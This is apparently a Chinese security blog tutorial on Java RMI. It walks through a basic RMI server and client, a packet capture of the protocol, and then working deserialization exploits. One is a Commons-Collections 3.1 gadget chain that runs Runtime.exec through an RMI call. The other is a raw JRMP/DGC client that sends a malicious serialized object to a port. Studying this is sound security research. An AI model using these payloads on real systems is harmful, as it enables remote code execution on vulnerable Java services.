@Author: Patrilic @Time: 2020-3-17 16:41:55
RMI(Remote Method Invocation) - Java远程方法调用, 类似于RPC, 实现了Java程序跨JVM的的方法调用。
简而言之就是能够在另一个JVM中调用对象的方法。
RMI分成三个部分组成:
(from javasec )
架构图:
简述一下RMI的调用流程:
但是从上述文字中就产生一个疑问,Client是直接获取服务端的方法执行结果,而类的执行是在Server端,那么例如fastjson这种,它的命令执行又是在Client产生…?
创建一个Java Project - RMIServiceExample
创建Package - com.patrilic.rmi
首先构造一个public接口 RMIServiceAPI
,需要继承Remote,同时throws RemoteException
package com.patrilic.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RMIServiceAPI extends Remote {
public String hello(String a) throws RemoteException;
}
然后再构造一个Class实现
package com.patrilic.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMIService extends UnicastRemoteObject implements RMIServiceAPI {
/**
*
*/
private static final long serialVersionUID = 1L;
protected RMIService() throws RemoteException {
super();
}
public String hello(String a) throws RemoteException {
System.out.println("call from" + a);
return "Hello world";
}
}
最后构造一个StartService.java,用于注册服务代码
package com.patrilic.rmi;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class StartService {
public static void StartService() {
String host ="127.0.0.1";
String port ="1099";
try {
RMIServiceAPI service = new RMIService();
LocateRegistry.createRegistry(Integer.valueOf(port));
Naming.bind("rmi://" + host + ":" + port + "/RmiService", service);
System.out.println("[INFO]:Success to bind rmi object");
} catch (NumberFormatException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
StartService();
}
}
和Server端一样,先构造一个接口继承Remote
注意,必须使用和Server端相同的package和RMIServiceAPI名称,不然会报错
package com.patrilic.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RMIServiceAPI extends Remote {
public String hello(String a) throws RemoteException;
}
构造Client调用服务端的hello接口
package com.patrilic.rmi;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
public class RMIClient {
public static void linkHello(String a) throws RemoteException {
String host = "127.0.0.1";
String port = "1099";
try {
Remote remote = Naming.lookup("rmi://" + host + ":" + port
+ "/RmiService");
if (remote instanceof RMIServiceAPI) {
RMIServiceAPI rmiService = (RMIServiceAPI) remote;
String result = rmiService.hello(a);
System.out.println(result);
}
} catch (NotBoundException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
linkHello("Patrilic");
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
在RMIClient对Server端进行lookup操作时,用Wireshark指定lo0网卡抓包
AC ED 00 05是常见的java反序列化16进制特征
Client连接Registry中心的1099端口, 建立通讯
Client通过JRMI,Call查询需要调用的函数的远程引用,注册中心通过JRMI,ReturnData返回RMI的调用类以及Server的ip和端口
通过注册中心提供的Server的ip和端口,进而Client和Server进行连接
再进行一次JRMI,Client连接Registry中心的1099端口
应该是在确认调用类需要的东西
返回调用结果
从之前的流程图就可以发现,通讯过程中的所有对象都是序列化之后传输,那么就必定有反序列化操作。
这里利用Common-Collections-3.1的反序列化
代码来自 https://xz.aliyun.com/t/6660#toc-6
Server
package com.patrilic.rmi;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
public void dowork(Object work) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User{
protected UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url,user);
System.out.println("the rmi is running ...");
}
}
Client
package com.patrilic.rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
//import com.patrilic.rmi.Server;
import com.patrilic.rmi.Server.User;
public class Client {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
User userClient = (User)Naming.lookup(url);
System.out.println(userClient.name("lala"));
userClient.say("world");
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
Github有个项目 BaRMIe
Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议
package com.patrilic.rmi;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JRMI {
public static void main(String[] args) throws IOException {
if (args.length == 0) {
args = new String[]{"127.0.0.1", String.valueOf("9527"), "open -a Calculator.app"};
}
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[2];
Socket socket = null;
OutputStream out = null;
try {
Object payloadObject = RMIExploit.genPayload(command);
socket = new Socket("127.0.0.1", 9527);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
// 获取Socket的输出流对象
out = socket.getOutputStream();
// 将Socket的输出流转换成DataOutputStream对象
DataOutputStream dos = new DataOutputStream(out);
// 创建MarshalOutputStream对象
ObjectOutputStream baos = new MarshalOutputStream(dos);
// 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
dos.writeInt(TransportConstants.Magic);// 魔数
dos.writeShort(TransportConstants.Version);// 版本
dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
dos.write(TransportConstants.Call);// RMI调用指令
baos.writeLong(2); // DGC
baos.writeInt(0);
baos.writeLong(0);
baos.writeShort(0);
baos.writeInt(1); // dirty
baos.writeLong(1L);// 接口Hash值
// 写入恶意的序列化对象
baos.writeObject(payloadObject);
dos.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭Socket输出流
if (out != null) {
out.close();
}
// 关闭Socket连接
if (socket != null) {
socket.close();
}
}
}
}